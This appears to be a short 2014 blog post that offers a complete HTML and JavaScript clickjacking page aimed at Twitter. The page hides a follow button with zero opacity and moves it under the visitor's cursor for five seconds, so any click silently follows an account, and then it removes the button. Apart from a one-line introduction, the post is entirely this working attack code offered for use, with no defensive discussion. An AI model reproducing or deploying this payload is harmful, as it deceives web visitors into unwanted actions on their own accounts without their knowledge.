Monday, February 3, 2014

[SCRIPT] Twitter Clickjacking

Twitter Clickjacking



This is my basic script for make a twitter/follow clickjacking,

Code:

<!DOCTYPE html>
<html>
<head>
</head>
<style>.twitter-follow-button{opacity:0;}</style>
<body>
<a href="https://twitter.com/google" class="twitter-follow-button" data-show-count="false"></a>
<script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?'http':'https';if(!d.getElementById(id)){js=d.createElement(s)​;js.id=id;js.src=p+'://platform.twitter.com/widgets.js';fjs.parentNode.insertBefore(js,fjs);}}(document, 'script', 'twitter-wjs');</script>
<script>
    var oe = document.onmousemove;
    var delay = 5000;
    document.onmousemove = function(e)
    {
      var d = document.getElementsByClassName('twitter-follow-button')[0];
      d.style.position = "absolute";
      d.style.left = e.pageX-50+'px';
      d.style.top = e.pageY-10+'px';
    };
    setTimeout(function()
    {
      var d = document.getElementsByClassName('twitter-follow-button')[0];
      d.parentNode.removeChild(d);
      document.onmousemove = oe;
    },delay);
</script>
</body>
</html>




1 comments: